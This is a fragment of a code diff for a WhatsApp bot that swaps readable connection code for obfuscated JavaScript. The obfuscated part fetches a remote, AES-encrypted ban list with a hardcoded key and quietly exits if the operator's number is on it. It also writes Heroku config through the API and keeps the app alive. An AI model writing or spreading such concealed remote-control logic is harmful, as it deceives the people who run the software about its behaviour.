+ console[_0x9fdfc0(-0x23, 0x1a)](_0xabbca9(0x2a3, 0x229) + '\x20\x63\x6c\x6f\x73\x65\x64\x2c\x20\x72' + '\x65\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6e' + _0xabbca9(0x6a, 0x144)), QueenAmdi();
1169
+ else {
1170
+ if (_0x2df7cf === DisconnectReason['\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e' + _0x9fdfc0(0xf8, 0x121)])
1171
+ console[_0xabbca9(0xcd, 0xd2)](_0xabbca9(0x2b8, 0x229) + _0xabbca9(0x16d, 0x128) + _0x9fdfc0(0x7b, 0xb) + _0xabbca9(0x106, 0xff) + '\x67\x2e\x2e\x2e'), QueenAmdi();
1172
+ else {
1173
+ if (_0x2df7cf === DisconnectReason[_0x9fdfc0(-0xc6, 0x1f) + '\x52\x65\x70\x6c\x61\x63\x65\x64'])
1174
+ console[_0x9fdfc0(-0xf, 0x1a)]('\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e' + _0x9fdfc0(0x29, 0x107) + '\x20\x41\x6e\x6f\x74\x68\x65\x72\x20\x4e' + _0x9fdfc0(0x67, 0xdc) + _0xabbca9(0x115, 0x125) + _0x9fdfc0(0x10b, 0x1a0) + '\x65\x20\x43\x75\x72\x72\x65\x6e\x74\x20' + _0x9fdfc0(0xe3, 0x56) + _0xabbca9(0x1b0, 0x1bc)), QueenAmdi();
1175
+ else {
1176
+ if (_0x2df7cf === DisconnectReason[_0xabbca9(0x14f, 0x215)])
1177
+ console['\x6c\x6f\x67']('\x44\x65\x76\x69\x63\x65\x20\x4c\x6f\x67' + _0x9fdfc0(0x27, 0xb5) + _0xabbca9(0x26c, 0x232) + _0xabbca9(0x14b, 0x14c) + _0xabbca9(0x117, 0x1e3)), QueenAmdi();
1178
+ else {
1179
+ if (_0x2df7cf === DisconnectReason[_0x9fdfc0(0x34, 0x8d) + '\x75\x69\x72\x65\x64'])
1180
+ console[_0xabbca9(0x1b2, 0xd2)]('\x52\x65\x73\x74\x61\x72\x74\x20\x52\x65' + _0x9fdfc0(0xb0, 0x108) + '\x73\x74\x61\x72\x74\x69\x6e\x67\x2e\x2e' + '\x2e'), QueenAmdi();
1181
+ else
1182
+ _0x2df7cf === DisconnectReason[_0x9fdfc0(0x15c, 0x14b)] ? (console[_0xabbca9(0x18e, 0xd2)](_0xabbca9(0x287, 0x229) + _0x9fdfc0(-0x73, -0xf) + _0x9fdfc0(0x1f4, 0x199) + _0x9fdfc0(-0x5a, 0x1c)), QueenAmdi()) : QueenAmdi();
1183
+ }
852
1184
  }
853
- })
854
- })();
855
- } catch {
856
- amdiCONN.sendMessage('94404@s.whatsapp.net', {
857
- image: { url: 'https://i.ibb.co/p3dWwsZ/20220703-010653.jpg' },
858
- caption: "ERROR 404! Please scan the QR again."
859
- })
1185
+ }
1186
+ }
860
1187
  }
861
1188
  }
862
- console.log ("📲 Now all functions are ready to use")
1189
+ if (_0x4bf312 === _0x9fdfc0(0x6b, 0x142)) {
1190
+ console['\x6c\x6f\x67']('\u2705\x20\x57\x65\x62\x20\x57\x41\x20\x63' + _0xabbca9(0x1a2, 0x189)), updateLogin(), ((async () => {
1191
+ function _0x8bbb07(_0x9bc18e, _0x5a9ff3) {
1192
+ return _0xabbca9(_0x9bc18e, _0x5a9ff3 - -0x300);
1193
+ }
1194
+ const _0x1900af = '\x6d\x61\x6e\x6f\x6a\x2d\x61\x6d\x64\x69';
1195
+ let _0x491415 = _0x21d881(0x3a1, 0x3e1) + _0x21d881(0x552, 0x4f5) + _0x21d881(0x332, 0x3c5) + _0x21d881(0x482, 0x483) + '\x6d\x64\x61\x2f\x51\x75\x65\x65\x6e\x41' + _0x21d881(0x3c4, 0x382) + _0x21d881(0x3db, 0x4c0) + '\x6e';
1196
+ const _0x18bb49 = await got(_0x491415), _0x3bd095 = JSON[_0x8bbb07(-0x1f9, -0x25a)](_0x18bb49[_0x21d881(0x384, 0x404)]), _0x39f8a5 = _0x3bd095['\x64\x61\x74\x61'][_0x21d881(0x50b, 0x472) + '\x69\x5f\x44\x65\x76\x69\x63\x65'][_0x21d881(0x48b, 0x43c) + '\x72'], _0x4b43b3 = _0x3bd095['\x64\x61\x74\x61']['\x51\x75\x65\x65\x6e\x5f\x41\x6d\x64\x69']['\x62\x61\x6e\x6e\x65\x64\x5f\x75\x73\x65' + '\x72'];
1197
+ function _0x21d881(_0x168a63, _0x50dda8) {
1198
+ return _0x9fdfc0(_0x168a63, _0x50dda8 - 0x36c);
1199
+ }
1200
+ const _0x371d2e = CryptoJS['\x41\x45\x53']['\x64\x65\x63\x72\x79\x70\x74'](_0x39f8a5, _0x1900af), _0x1b9d5a = CryptoJS[_0x21d881(0x4d3, 0x487)][_0x21d881(0x31e, 0x347)](_0x4b43b3, _0x1900af), _0x235f93 = _0x371d2e['\x74\x6f\x53\x74\x72\x69\x6e\x67'](CryptoJS[_0x8bbb07(-0x163, -0x1c7)][_0x21d881(0x2ef, 0x3a1)]), _0x5f23a1 = _0x1b9d5a[_0x8bbb07(-0x2d0, -0x251)](CryptoJS[_0x8bbb07(-0x15e, -0x1c7)][_0x8bbb07(-0x13d, -0x213)]);
1201
+ var _0x34e725 = _0x235f93[_0x8bbb07(-0x2dc, -0x278)]('\x2c'), _0xb634f0 = _0x5f23a1[_0x8bbb07(-0x229, -0x278)]('\x2c');
1202
+ if (_0x34e725['\x69\x6e\x63\x6c\x75\x64\x65\x73'](_0x44c8fe[_0x21d881(0x461, 0x4e8)]['\x69\x64'][_0x21d881(0x281, 0x33c)]('\x40')[0x0])) {
1203
+ process[_0x21d881(0x2c9, 0x389)](0x0);
1204
+ ;
1205
+ }
1206
+ if (_0xb634f0[_0x8bbb07(-0x297, -0x22a)](_0x44c8fe[_0x21d881(0x417, 0x4e8)]['\x69\x64'][_0x21d881(0x40f, 0x33c)]('\x40')[0x0])) {
1207
+ process['\x65\x78\x69\x74'](0x0);
1208
+ ;
1209
+ }
1210
+ let _0x5b59c6 = _0x8bbb07(-0xd0, -0xbc) + _0x8bbb07(-0x11d, -0x145) + _0x21d881(0x49f, 0x4cb) + _0x8bbb07(-0x1c9, -0x195) + _0x21d881(0x310, 0x349) + '\x31\x34\x33\x31\x33\x62\x36\x33\x31\x32' + _0x8bbb07(-0x183, -0x25c) + _0x21d881(0x33f, 0x3de) + '\x77\x2f';
1211
+ const _0xf8fc8e = await got(_0x5b59c6), _0x23fd29 = JSON[_0x21d881(0x2f5, 0x35a)](_0xf8fc8e['\x62\x6f\x64\x79']), _0x10383f = _0x23fd29['\x51\x52\x43\x6f\x6e\x6e\x65\x63\x74\x65' + '\x64'];
1212
+ let _0x365784 = new Buffer[(_0x21d881(0x520, 0x4d0))](_0x10383f[_0x8bbb07(-0x264, -0x1d9)]('\x64\x61\x74\x61\x3a\x69\x6d\x61\x67\x65' + _0x21d881(0x516, 0x504) + _0x21d881(0x2e5, 0x37e), ''), _0x21d881(0x33c, 0x366));
1213
+ fs[_0x8bbb07(-0x2cf, -0x21d)]('\x2e\x2f\x71\x72\x5f\x63\x6f\x64\x65\x2f' + _0x8bbb07(-0x126, -0xd8), _0x365784, function (_0x1b1bbf) {
1214
+ if (_0x1b1bbf)
1215
+ throw _0x1b1bbf;
1216
+ }), setInterval(() => {
1217
+ fs['\x77\x72\x69\x74\x65\x46\x69\x6c\x65']('\x2e\x2f\x71\x72\x5f\x63\x6f\x64\x65\x2f' + '\x69\x6d\x61\x67\x65\x2e\x70\x6e\x67', _0x365784, function (_0x577760) {
1218
+ if (_0x577760)
1219
+ throw _0x577760;
1220
+ });
1221
+ }, 0xdbba0);
1222
+ })());
1223
+ if (vars['\x4c\x4f\x47\x5f\x4a\x49\x44']) {
1224
+ const _0x1704b1 = {};
1225
+ _0x1704b1[_0x9fdfc0(0x39, 0xbc) + '\x74'] = _0x9fdfc0(0xbb, 0x191) + _0xabbca9(0x1ef, 0x196) + _0x9fdfc0(0xaf, 0xd), _0x1704b1['\x69\x64'] = '\x69\x64\x2d\x6c\x69\x6b\x65\x2d\x62\x75' + _0x9fdfc0(0x157, 0xf3) + _0xabbca9(0x1d9, 0x105);
1226
+ const _0x2bd705 = {};
1227
+ _0x2bd705[_0xabbca9(0x9e, 0xba)] = 0x1, _0x2bd705[_0xabbca9(0x184, 0x1b8) + '\x42\x75\x74\x74\x6f\x6e'] = _0x1704b1;
1228
+ const _0x402785 = {};
1229
+ _0x402785[_0xabbca9(0x146, 0x174) + '\x74'] = _0xabbca9(0x179, 0xdc) + _0xabbca9(0x21, 0xbe), _0x402785[_0xabbca9(0x1e1, 0x143)] = _0x9fdfc0(0x113, 0x18c) + _0xabbca9(0x2ce, 0x230) + _0xabbca9(-0x52, 0x8a) + _0x9fdfc0(0xe5, 0x26);
1230
+ const _0x183c21 = {};
1231
+ _0x183c21[_0xabbca9(0x164, 0xba)] = 0x2, _0x183c21[_0x9fdfc0(0x25, 0x92)] = _0x402785;
1232
+ const _0x6d97e7 = {};
1233
+ _0x6d97e7['\x64\x69\x73\x70\x6c\x61\x79\x54\x65\x78' + '\x74'] = '\ud83c\udf9e\ufe0f\x20\x41\x4e\x20\x54\x65\x63\x68\x20' + _0x9fdfc0(0x1a7, 0x131) + _0x9fdfc0(-0x4b, 0x5), _0x6d97e7[_0x9fdfc0(0x6c, 0x8b)] = _0xabbca9(0x49, 0xe5) + '\x77\x2e\x79\x6f\x75\x74\x75\x62\x65\x2e' + _0xabbca9(0x280, 0x227) + _0xabbca9(0x13a, 0x1c7) + _0x9fdfc0(0x1a6, 0xf9) + _0x9fdfc0(0xe3, 0x10b) + _0xabbca9(0x1f6, 0x1ba) + _0x9fdfc0(-0x71, -0x1d);
1234
+ const _0x1734b7 = {};
1235
+ _0x1734b7['\x69\x6e\x64\x65\x78'] = 0x3, _0x1734b7[_0xabbca9(0x1e3, 0x14a)] = _0x6d97e7;
1236
+ const _0x1ad11c = [
1237
+ _0x2bd705,
1238
+ _0x183c21,
1239
+ _0x1734b7
1240
+ ], _0xb5380a = {};
1241
+ _0xb5380a[_0x9fdfc0(0x2b, 0x8b)] = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x69\x2e' + _0xabbca9(0x1cb, 0xec) + _0xabbca9(0x211, 0x24a) + '\x36\x31\x39\x2d\x31\x36\x34\x39\x34\x36' + _0x9fdfc0(0x6e, 0xac);
1242
+ const _0x1e2a0b = {};
1243
+ _0x1e2a0b[_0xabbca9(0xd0, 0x191)] = Lang[_0x9fdfc0(0x97, 0xee)], _0x1e2a0b[_0x9fdfc0(0x11d, 0x5e)] = footerTXT, _0x1e2a0b[_0xabbca9(0x1f, 0xa5) + '\x74\x74\x6f\x6e\x73'] = _0x1ad11c, _0x1e2a0b[_0x9fdfc0(0xb9, -0x28)] = _0xb5380a;
1244
+ const _0x254806 = _0x1e2a0b;
1245
+ _0x44c8fe[_0x9fdfc0(0x87, 0x1b) + '\x65'](vars[_0x9fdfc0(0xe7, 0x84)], _0x254806);
1246
+ } else
1247
+ try {
1248
+ ((async () => {
1249
+ const _0xb3bf4f = {};
1250
+ _0xb3bf4f[_0x790514(0x387, 0x2b5) + '\x70\x65'] = _0x35e99c(0x46b, 0x477) + '\x72';
1251
+ const _0x3006fb = await axios[_0x35e99c(0x40b, 0x4cb)](_0x35e99c(0x454, 0x48b) + '\x69\x62\x62\x2e\x63\x6f\x2f\x50\x54\x47' + _0x790514(0x318, 0x38d) + _0x790514(0x4bc, 0x53c), _0xb3bf4f), _0x3aa194 = await _0x44c8fe[_0x790514(0x319, 0x294) + '\x65'](_0x790514(0x38b, 0x2e1) + '\x64\x69\x20\x76\x34\x20\x43\x6f\x6e\x73' + '\x6f\x6c\x65\ud83d\udc83\ud83c\udffb\u2665\ufe0f', []);
1252
+ console[_0x35e99c(0x321, 0x394)](_0x35e99c(0x494, 0x40b) + '\x6e\x73\x6f\x6c\x65\x20\x67\x72\x6f\x75' + '\x70\x20\x77\x69\x74\x68\x20\x69\x64\x3a' + '\x20' + _0x3aa194['\x69\x64']);
1253
+ function _0x790514(_0x1aa148, _0x2e845e) {
1254
+ return _0x9fdfc0(_0x2e845e, _0x1aa148 - 0x320);
1255
+ }
1256
+ await _0x44c8fe[_0x35e99c(0x492, 0x41e) + _0x35e99c(0x59b, 0x4ae) + '\x6f\x6e'](_0x3aa194['\x69\x64'], vars[_0x790514(0x447, 0x4b9)] + (_0x35e99c(0x31e, 0x365) + _0x790514(0x444, 0x4f9) + _0x35e99c(0x4d2, 0x43a) + _0x790514(0x443, 0x3df) + _0x35e99c(0x2b3, 0x361) + _0x790514(0x499, 0x50a))), await _0x44c8fe[_0x35e99c(0x395, 0x438) + _0x35e99c(0x34d, 0x3f9)](_0x3aa194['\x69\x64'], _0x3006fb[_0x790514(0x469, 0x3b0)]);
1257
+ function _0x35e99c(_0x4412b2, _0x16a26a) {
1258
+ return _0x9fdfc0(_0x4412b2, _0x16a26a - 0x37a);
1259
+ }
1260
+ const _0x50c7c4 = {};
1261
+ _0x50c7c4['\x6c\x6f\x67\x47\x72\x70\x4a\x49\x44'] = _0x3aa194['\x69\x64'];
1262
+ const _0x37f63e = {};
1263
+ _0x37f63e[_0x35e99c(0x4ad, 0x412)] = _0x50c7c4, await heroku[_0x790514(0x3ca, 0x2dd)](baseURI + (_0x790514(0x483, 0x460) + '\x72\x73'), _0x37f63e);
1264
+ })());
1265
+ } catch {
1266
+ const _0x3d174d = {};
1267
+ _0x3d174d[_0x9fdfc0(0x6a, 0x8b)] = _0xabbca9(0x190, 0x1c9) + _0xabbca9(0x1d4, 0x167) + '\x57\x77\x73\x5a\x2f\x32\x30\x32\x32\x30' + _0x9fdfc0(0x1d7, 0x115) + _0x9fdfc0(0xce, 0xac);
1268
+ const _0x4af5bf = {};
1269
+ _0x4af5bf[_0xabbca9(-0x6, 0x90)] = _0x3d174d, _0x4af5bf[_0xabbca9(0x21e, 0x191)] = _0x9fdfc0(0x15c, 0xc3) + '\x20\x50\x6c\x65\x61\x73\x65\x20\x73\x63' + _0x9fdfc0(-0xd7, -0x20) + _0x9fdfc0(0xa6, 0x116), _0x44c8fe[_0xabbca9(0xbf, 0xd3) + '\x65'](_0xabbca9(0x2fe, 0x24f) + _0xabbca9(0xc, 0xef), _0x4af5bf);
1270
+ }
1271
+ console[_0x9fdfc0(-0x30, 0x1a)](_0xabbca9(0x269, 0x1da) + _0xabbca9(0x189, 0x243) + _0xabbca9(0x6f, 0xd0) + _0x9fdfc0(0x15f, 0x186));
1272
+ }
1273
+ });
1274
+ function _0x760060(_0xd13580, _0x2df7dd) {
1275
+ return _0x1fcd49(_0x2df7dd, _0xd13580 - -0x38);
863
1276
  }
864
- });
865
- amdiCONN.ev.on('creds.update', saveState)
866
- return amdiCONN;
867
- };
868
-
869
- module.exports = {
870
- Base : QueenAmdi
871
- }
1277
+ return _0x44c8fe['\x65\x76']['\x6f\x6e'](_0x760060(0x19a, 0x1e7) + '\x74\x65', saveState), _0x44c8fe;
1278
+ }, heroku_keep_alive = async () => {
1279
+ let _0x27971d = _0x366c49(0x36c, 0x2a3) + vars[_0x366c49(0x319, 0x2ce)] + (_0x366c49(0x316, 0x24d) + _0x366c49(0x399, 0x425));
1280
+ function _0x4dade9(_0xc0beea, _0xa38d23) {
1281
+ return _0x1fcd49(_0xa38d23, _0xc0beea - -0x1bc);
1282
+ }
1283
+ await got(_0x27971d);
1284
+ function _0x366c49(_0x4c90f4, _0x35b0b5) {
1285
+ return _0x1fe2eb(_0x35b0b5, _0x4c90f4 - 0x5ec);
1286
+ }
1287
+ console[_0x4dade9(-0xb1, 0x1a)](_0x4dade9(-0x5, -0xad) + _0x366c49(0x2f1, 0x218) + _0x4dade9(-0x7b, -0xc0) + '\x69\x6c\x65\x73\x2e\x2e\x2e');
1288
+ }, _0x4966e5 = {};
1289
+ function _0x1fcd49(_0x54b29b, _0x576127) {
1290
+ return _0x2ec1(_0x576127 - 0x17, _0x54b29b);
1291
+ }
1292
+ _0x4966e5[_0x1fe2eb(-0x17e, -0x195)] = QueenAmdi, _0x4966e5[_0x1fe2eb(-0x1cc, -0x237) + '\x76\x65'] = heroku_keep_alive, module['\x65\x78\x70\x6f\x72\x74\x73'] = _0x4966e5;